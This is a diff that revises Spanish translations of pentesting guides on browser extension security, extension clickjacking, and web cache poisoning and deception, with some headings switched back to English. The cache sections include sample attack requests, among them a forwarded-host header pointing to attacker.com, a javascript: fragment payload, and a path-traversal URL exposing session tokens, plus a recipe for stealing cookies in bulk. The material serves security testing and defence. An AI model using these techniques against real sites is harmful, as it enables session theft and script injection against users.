+Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo:
- **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión.
-- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión.
+- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de un acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión.
### `permissions` & `host_permissions`
@@ -317,7 +317,7 @@ browext-clickjacking.md
> Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking.
> [!CAUTION]
-> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts de fondo**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
+> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
>
> Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**.
@@ -325,7 +325,7 @@ browext-clickjacking.md
Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
-- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
+- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o se declara como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
```json
@@ -338,11 +338,11 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe
Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**.
> [!CAUTION]
-> Si se indica una página web **vulnerable a XSS o toma de control** en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
+> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
>
> Por lo tanto, este es un **bypass muy poderoso**.
>
-> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este informe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este artículo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Resumen de comunicación
@@ -352,7 +352,7 @@ Para comunicarse entre el script de contenido y la página web, generalmente se
### Dentro de la extensión
-Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
+Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
@@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**.
### Mensajería Nativa
-Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](./#native-messaging).
+Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Comunicación de Scripts de Contenido
-Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como el canal de comunicación.
+Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como canal de comunicación.
### Mensajes Post
```javascript:content-script.js
@@ -452,13 +452,13 @@ false
```
Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando:
-- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por una acción del usuario.
+- **`event.isTrusted`**: Esto es True solo si el evento fue desencadenado por una acción del usuario.
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
- **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
- Si se utiliza una expresión regular, ten mucho cuidado.
-- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
+- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
-Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**:
+Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **potenciales bypasses de Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@@ -486,7 +486,7 @@ browext-xss-example.md
Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON de una sola vez**.
-Para manejar la **respuesta**, usa la **Promesa** devuelta. Aunque, por compatibilidad hacia atrás, aún puedes pasar un **callback** como el último argumento.
+Para manejar la **respuesta**, usa la **Promise** devuelta. Aunque, por compatibilidad hacia atrás, aún puedes pasar un **callback** como el último argumento.
Enviar una solicitud desde un **script de contenido** se ve así:
```javascript
@@ -523,11 +523,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
```
En el ejemplo destacado, **`sendResponse()`** se ejecutó de manera sincrónica. Para modificar el controlador de eventos `onMessage` para la ejecución asincrónica de `sendResponse()`, es imperativo incorporar `return true;`.
-Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta.
+Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única que podrá entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta.
Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
-## Native Messaging
+## Mensajería Nativa
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
```json
@@ -539,7 +539,7 @@ Las extensiones del navegador también permiten comunicarse con **binarios en el
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
-Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. El `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín).
+Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. La `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín).
Chrome/Chromium buscará este json en algunos registros de Windows y algunas rutas en macOS y Linux (más información en los [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
@@ -567,9 +567,9 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE
## Información Sensible en Memoria/Código/Portapapeles
-Si una extensión del navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas con Windows) y **buscada** para esta información.
+Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información.
-Por lo tanto, la memoria de la extensión del navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe almacenarse**.
+Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
Por supuesto, no **coloque información sensible en el código**, ya que será **pública**.
@@ -579,13 +579,13 @@ Además, información altamente sensible como claves mnemotécnicas o contraseñ
## Cargando una Extensión en el Navegador
-1. **Descargue** la extensión del navegador y descomprímala.
+1. **Descargue** la Extensión del Navegador y descomprímala.
2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
3. Haga clic en el botón **`Cargar descomprimido`**.
En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
-## Obteniendo el código fuente de la tienda
+## Obtener el código fuente de la tienda
El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
@@ -640,7 +640,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
Aunque las extensiones de navegador tienen una **superficie de ataque limitada**, algunas de ellas pueden contener **vulnerabilidades** o **mejoras de endurecimiento potenciales**. Las siguientes son las más comunes:
-- [ ] **Limitar** tanto como sea posible los **`permisos`** solicitados
+- [ ] **Limitar** tanto como sea posible los **`permissions`** solicitados
- [ ] **Limitar** tanto como sea posible los **`host_permissions`**
- [ ] Usar una **política de seguridad de contenido** **`content_security_policy`** **fuerte**
- [ ] **Limitar** tanto como sea posible el **`externally_connectable`**, si no se necesita y es posible, no dejarlo por defecto, especificar **`{}`**
@@ -648,7 +648,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
- [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacíos si es posible.
- [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md)
- [ ] Si ocurre alguna **comunicación** de la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación.
-- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
- [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
- [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
@@ -656,7 +656,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
- [ ] **La información sensible no debe ser almacenada** dentro de la memoria de la extensión del navegador
- [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
-## Riesgos de Extensiones de Navegador
+## Riesgos de la Extensión del Navegador
- La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador.
@@ -665,13 +665,13 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Extrae cualquier extensión de Chrome de un enlace proporcionado de la tienda web de Chrome.
-- Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
+- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visor**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
- **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
-- **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
-- Visor de **Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
+- **Análisis Potencial de Clickjacking**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
+- **Visor de Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
- **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
-- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
-- Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
+- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
+- Tanto el escáner de Función(es) Peligrosa(s) como el de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
- Fragmento de código relevante y línea que causó la alerta.
- Descripción del problema.
- Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código.
@@ -685,7 +685,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
- Descargar la extensión original.
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
-- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
+- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
### [Neto](https://github.com/elevenpaths/neto)
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index d28c94d8c..47629ffc4 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -7,6 +7,7 @@
Esta página va a abusar de una vulnerabilidad de ClickJacking en una extensión del navegador.\
Si no sabes qué es ClickJacking, consulta:
+
{{#ref}}
../clickjacking.md
{{#endref}}
@@ -75,7 +76,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
```
## Ejemplo de Metamask
-Una [**publicación de blog sobre un ClickJacking en metamask se puede encontrar aquí**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). En este caso, Metamask solucionó la vulnerabilidad verificando que el protocolo utilizado para acceder a él era **`https:`** o **`http:`** (no **`chrome:`** por ejemplo):
+Un [**artículo de blog sobre un ClickJacking en metamask se puede encontrar aquí**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). En este caso, Metamask solucionó la vulnerabilidad verificando que el protocolo utilizado para acceder a él era **`https:`** o **`http:`** (no **`chrome:`** por ejemplo):
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index f785e5f09..5ad667d83 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -41,26 +41,26 @@ Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b
```html
```
-### Elicitar una respuesta dañina del servidor back-end
+### Elicit a harmful response from the back-end server
-Con el parámetro/cabecera identificada, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
+Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
-### Obtener la respuesta en caché
+### Get the response cached
-Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de obtener en la caché, esto podría tardar un tiempo, podrías necesitar intentarlo durante varios segundos.
+Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
-La cabecera **`X-Cache`** en la respuesta podría ser muy útil, ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
-La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché de nuevo: `Cache-Control: public, max-age=1800`
+La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
+La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché de nuevo: `Cache-Control: public, max-age=1800`
-Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
+Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
-## Ejemplos de Explotación
+## Exploiting Examples
-### Ejemplo más fácil
+### Easiest example
Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:
@@ -73,6 +73,7 @@ _Note que esto envenenará una solicitud a `/en?region=uk` no a `/en`_
### Envenenamiento de caché para DoS
+
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
@@ -81,8 +82,8 @@ cache-poisoning-to-dos.md
En **[este informe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:
-- El CDN almacenará en caché cualquier cosa bajo `/share/`
-- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- La CDN almacenará en caché cualquier cosa bajo `/share/`
+- La CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- El servidor web SÍ decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contiene el token de autenticación**.
### Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies
@@ -97,7 +98,8 @@ Nota que si la cookie vulnerable es muy utilizada por los usuarios, las solicitu
### Generando discrepancias con delimitadores, normalización y puntos
-Verifica:
+Ver:
+
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@@ -109,13 +111,14 @@ cache-poisoning-via-url-discrepancies.md
Esto también se explica mejor en:
+
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web
-A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
+A veces necesitarás **explotar varias entradas sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde apunta la página por el redireccionamiento.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -133,7 +136,7 @@ X-Host: attacker.com
```
### Fat Get
-Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
+Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -146,7 +149,7 @@ Hay un laboratorio de Portswigger sobre esto: [https://portswigger.net/web-secur
### Ocultación de Parámetros
-Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos.
+Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros sin clave dentro de los que tienen clave y abusar de ellos.
Laboratorio de Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@@ -174,7 +177,7 @@ Receta práctica (observada en un popular CDN/WAF):
2) En Burp Repeater, prepara un grupo de dos solicitudes y usa "Enviar grupo en paralelo" (el modo de paquete único funciona mejor):
- Primera solicitud: GET a una ruta de recurso `.js` en el mismo origen mientras envías tu `User-Agent` malicioso.
- Inmediatamente después: GET a la página principal (`/`).
-3) La carrera de enrutamiento CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`).
+3) La carrera de enrutamiento del CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`).
Ejemplo de carga útil de encabezado (para exfiltrar cookies no HttpOnly):
```
@@ -188,7 +191,7 @@ Consejos operativos:
Impacto:
-- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado.
+- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic cero al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado.
Defensas:
@@ -200,11 +203,11 @@ Defensas:
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así que la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no tenía la carga útil dentro de ella, solo host, ruta y consulta.
+ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así, la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no contenía la carga útil, solo el host, la ruta y la consulta.
### GitHub CP-DoS
-Enviar un valor incorrecto en el encabezado content-type activó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
+Enviar un valor incorrecto en el encabezado content-type desencadenó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
### GitLab + GCP CP-DoS
@@ -228,7 +231,7 @@ Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con l
### Campos de Encabezado Ilegales
-El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
+El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente desencadenar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
### Encontrando nuevos encabezados
@@ -250,16 +253,16 @@ Otras cosas para probar:
- _Usa extensiones menos conocidas como_ `.avif`
Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
